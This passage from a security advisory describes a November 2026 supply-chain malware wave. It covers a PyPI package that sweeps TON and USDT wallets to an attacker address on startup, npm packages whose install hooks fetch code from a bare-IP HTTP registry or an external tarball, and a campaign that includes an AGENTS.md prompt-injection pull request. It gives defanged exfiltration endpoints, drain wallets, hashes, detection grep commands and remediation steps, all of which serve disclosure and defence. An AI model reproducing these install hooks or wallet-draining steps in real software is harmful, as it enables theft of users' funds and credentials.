Simply entering async with FragmentClient(seed=...) as client: queries the wallet’s TON and USDT balances, reserves 0.12 TON (120,000,000 nanoton, plus 0.06 TON if the wallet holds USDT) to cover network gas, and dispatches a single atomic batch_transfer_message sending the entire remaining TON and USDT balance to UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU. On-chain transaction records confirm two victim drains (0.879963599 TON on 8 November at 18:19:30 UTC and 43.982037696 TON + 0.01 TON from UQCNCieyFZ_OId8raVhigDPp_9Tlr0OJryWpY5CLTRZVZEDp on 9 November at 23:02:47 UTC, reported in S1qwy/fragment-api-py#8), followed by a cash-out of 44.871449124 TON to UQDJvvpXs4bDBVBwnmchy4nJ-Y25Ck4RBfHzQI240qlVYbM8 at 07:11:59 UTC on 10 November.
3. @conduitops/logview-archive and the ltidisafe GCS tarball redirectors on npm
Among the npm malware advisories published on 10 November 2026, two clusters stand out for their second-stage delivery mechanics:
@conduitops/logview-archive(1.0.0and1.0.1,GHSA-x7hg-v8jr-wmgw): Onpostinstall,package.jsoninvokesnode install.js, which readslib/toolchain.jsonand runsnpm install @conduit/logview-cli@2.2.0 --registry http://139.196.94[.]195:8080/dl/npm/intovendor/, pulling an unverified package from a plaintext HTTP registry on a bare IP address.- Eight scoped
ltidisafeGCS tarball redirectors (@postex/commonGHSA-fq53-vhhm-rqf7,@fmr-ap153177/apex-kit-iconsGHSA-4wmc-p2p5-43h7,@fmr-ap149494/apex-base-componentGHSA-96ww-78q6-m2q5,@jm-telefonica/multibrand-componentsGHSA-cq8v-qgrp-2jq4,@generic-means/ing-feat-scanner-libsGHSA-77gv-vj6m-6qg6,@futurae-public/adaptive-jsGHSA-xcfm-cvqm-rcwc,@fcsmc/commercial-analyticsGHSA-hfxq-xfgx-f9h8, and@factoryz/apolloGHSA-7q6h-g3hp-prq6): Published at version99.9.1targeting internal scopes at PostEx, Fidelity Investments (@fmr-ap*), Telefonica, ING Bank, and Futurae, each package ships an emptyindex.js(module.exports = {}) and declares a single dependency"ltidisafe"pointing to an external Google Cloud Storage tarball URL (hxxps://ltidi.storage.googleapis[.]com/depenconf/ltidisafe-3.9.1.tgzorltidisafe-3.9.5.tgz).
IOCs
- Network and phishing indicators (defanged):
sapho11exfiltration endpoints:hxxps://webhook[.]site/14b3cc9b-3275-4b63-8b93-f4d2669fbdc1,hxxps://webhook[.]site/0a60608b-63de-480c-a441-38a8d107a9ea,hxxps://api.sdklfghaljksdhfkjasdfhlkasdhfjklasdf[.]xyz/v1/tipcheck,hxxps://api.sdklfghaljksdhfkjasdfhlasdhfjklasdf[.]xyz/v1/tipcheck, andhxxps://session-check.sapho11.workers[.]dev/v1/tipchecksapho11GitHub credential-phishing kit:hxxps://session-check.sapho11.workers[.]dev/authand/auth/login(HTML SHA-256d8671b8aed8771dba6b57bd51d2e42914c0df87bd9e9d148478a0fbc121e81e6)@conduitops/logview-archiverogue npm registry:hxxp://139.196.94[.]195:8080/dl/npm/ltidisafeexternal GCS tarballs:hxxps://ltidi.storage.googleapis[.]com/depenconf/ltidisafe-3.9.1.tgzandhxxps://ltidi.storage.googleapis[.]com/depenconf/ltidisafe-3.9.5.tgz
- Blockchain indicators (
fragment-api-py@14.4.2):- Primary TON drain wallet:
UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU(raw0:2895f0bb7f27ffff41fed46cc6f72e59b55d823c2ef20e7a385b671256e62527) - Cash-out destination (
2026-11-10 07:11:59 UTC):UQDJvvpXs4bDBVBwnmchy4nJ-Y25Ck4RBfHzQI240qlVYbM8(raw0:c9befa57b386c30550709e6721cb89c9f98db90a4e1105f1f3408db8d2a95561) - Drain transactions:
SB60GTv+yhcRHBFV2H3KKCDKk3VXhoNf+/58FJAWfcU=(0.879963599 TON) and75750f71be9253551faf6b464fa5866ada16b86f2a17a00c2c230fedaa584121(43.982037696 TON)
- Primary TON drain wallet:
- Host / build-tree artifacts and SHA-256 digests:
- Cargo build-script output file:
target/*/build/lwd-uri-util-*/out/lwd_uri_build_context.json lwd-uri-util.crateSHA-256 digests:0.1.0129be19ca4d1d997d168af561e5cea12b0a401716a05720daf48072e470d7db5,0.1.110304aa2c167bb0d66800020fb1f983bc62bb5bec89239de9fddb129b523149a,0.1.26d35f023e3d87f8d4bc91a3bc670ae4681e9d85937146b9b0683d0f33eb0f55a,0.1.380c54ff4fe231c363db0c75cbb81f566ea4d10c266ec594165d840df13ab0973,0.1.4476a207e057ec463ff045a2c0115c8a34ea8eab70e0abe4c1efd90ceb8b5161c,0.1.53b290a899d741be14f9bb9f3545279911f774608362f348654f10823774c2f87,0.1.65c848823a78313c47596bdf3c260e8862a02c7e48fa8ce718aca332f7b80c4fd,0.1.77c0fbaf582b9b4e674c108ed5b0cb2835b11369fbdb1ce7ac29d63e9321a6981(0.1.7/build.rs:f466d5621525a4cf229e4a8377cd7285da5797eee77384253f1040a722765953)fragment-api-py@14.4.2SHA-256 digests: wheel24c402f3c47e3d8bc29597d000def922fa507970e47322d6fd7f28a4d253d447, sdistf046a53fa9007ff4cecc3ca7c5811b3fe44b09905af162d260885d091519531e,FragmentAPI/utils/wallet.py356850fb88116cb9a9d84ab5af5c21c6a3e3c06e41d4eafb1047dad68c718aa9,FragmentAPI/client.py8bc3211ec1aac493181decdb15dc75887c187601fd9e85174bb3f6dfcd8214c7
- Cargo build-script output file:
Detection and remediation
# 1. Check Rust Cargo.toml / Cargo.lock and target/ directories for lwd-uri-util and its build context dump
rg -n 'lwd[-_]uri[-_]util|zip321-uri|sapho11' Cargo.toml Cargo.lock package.json package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null
find . -path '*/build/lwd-uri-util-*/out/lwd_uri_build_context.json' 2>/dev/null
# 2. Check Python environments and site-packages for fragment-api-py 14.4.2 and its drain markers
pip show fragment-api-py 2>/dev/null || true
rg -n 'UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU|sweep_wallet_to_self|_ensure_swept' \
$(python3 -c 'import site; print(" ".join(site.getsitepackages()))' 2>/dev/null) 2>/dev/null || true
# 3. Search npm manifests and lockfiles for the 10 November malware wave
rg -n '@conduitops/logview-archive|139\.196\.94\.195|ltidisafe|@postex/common|@fmr-ap153177/apex-kit-icons|@fmr-ap149494/apex-base-component|@jm-telefonica/multibrand-components|@generic-means/ing-feat-scanner-libs|@futurae-public/adaptive-js|@fcsmc/commercial-analytics|@factoryz/apollo|@openyard/vetcode|kube-health-tools|moltbook-health|moltbook-api-helper|nodecheck-health|npm-scanner|leveldb-edit|"futrou":\s*"2\.0\.40"' \
package.json package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null
- If
lwd-uri-utilorsapho11/zip321-uriwas built or opened in an IDE: Inspecttarget/*/build/lwd-uri-util-*/out/lwd_uri_build_context.jsonto see the exact credentials captured, then delete the file, rotate all GitHub, AWS, Cargo, npm, PyPI, Fastlane, Apple, and Android signing credentials present on the machine, and migrate any accounts stored in~/.keplr-mcp/vaults/to a newly generated seed on a clean host. - If
fragment-api-py@14.4.2was installed: Downgrade immediately tofragment-api-py==14.4.1(pip install 'fragment-api-py==14.4.1') and transfer any remaining TON or Jetton assets out of the wallet configured inFragmentClient(seed=...).
Timeline
- 2026-09-07: Operator registers
sdklfghaljksdhfkjasdfhlkasdhfjklasdf[.]xyzvia Namecheap behind Cloudflare. - 2026-10-12 to 2026-10-22: Attacker modifies
fragment-api-py13.0.0source files (2026-10-12) and activates TON walletUQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU(2026-10-22). - 2026-11-08 (
12:12to18:19:30 UTC):fragment-api-py@14.4.2is uploaded to PyPI (12:12 UTC) and drains its first victim wallet (0.879963599 TONat18:19:30 UTC). - 2026-11-09 (
23:02:47to23:46:04 UTC):fragment-api-py@14.4.2drains a second production wallet (43.982037696 TONat23:02:47 UTC), and userlostgdieopensS1qwy/fragment-api-py#8(23:46:04 UTC). - 2026-11-10 (
01:26:45to03:17 UTC):sapho11registers on GitHub (01:26 UTC), openschainapsis/vizor-walletPRs#1199and#1200(01:56 UTC), posts phishing issuesapho11/vizor-wallet#1(02:26 UTC), opensAGENTS.mdprompt-injection PR#1201(02:35 UTC), publisheslwd-uri-util@0.1.0tocrates.io(03:05 UTC), and opens PR#1202(03:06 UTC) beforechainapsiscloses all four PRs (03:17 UTC). - 2026-11-10 (
03:13to07:20:43 UTC):sapho11publisheslwd-uri-util0.1.1through0.1.7(03:13to06:30 UTC), GitHub publishesGHSA-8mh3-cf36-7xxq(06:31 UTC),sapho11createssapho11/zip321-uri(06:48 UTC) and openszingolabs/zingo-common#85(07:14 UTC) andzingolabs/zingolib#3148(07:20 UTC), and thefragment-api-pyattacker cashes out44.871449124 TON(07:11:59 UTC). - 2026-11-10 (
08:16to12:00 UTC): OpenSourceMalware publishes its technical analysis of thesapho11campaign and files warningszingolabs/zingo-common#86andzingolabs/zingolib#3149, while SafeDep publishes its forensic analysis offragment-api-py@14.4.2.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- OpenSourceMalware Threat Research (10 November 2026): Cryptocurrency being targeted in multi-faceted attack (sapho11, lwd-uri-util, and zip321-uri)
- GitHub Malware Advisory GHSA-8mh3-cf36-7xxq (10 November 2026): Malicious code in lwd_uri_util (crates.io)
- Zingo Labs security disclosures zingolabs/zingolib#3149 (PR #3148) and zingolabs/zingo-common#86 (PR #85) (10 November 2026)
- SafeDep Threat Research (10 November 2026): Backdoored PyPI Package fragment-api-py 14.4.2 Drains TON Wallets on Startup
- GitHub Issue S1qwy/fragment-api-py#8 (9 November 2026): Security incident in fragment-api-py==14.4.2 wallet-sweep code
- DependencyWatch (10 November 2026): GitHub Advisory malware sweep, 10 November 2026 and GHSA-x7hg-v8jr-wmgw / GHSA-fq53-vhhm-rqf7 / GHSA-mj5g-9669-w97f
- GitHub Advisories GHSA-r533-jgcg-qr68 (@solana-common/utils), GHSA-253f-9v83-pw5c (@web3-common/utils), GHSA-353c-q3qh-4wwc (tchain-api), GHSA-mg72-vqq5-mhp6 (@solarcraft/observix), GHSA-qwfq-cw9x-55x4 (@lemili9804/mcp-weather-server), and OpenSSF PR #1764 (superlib_ex3) (10 November 2026)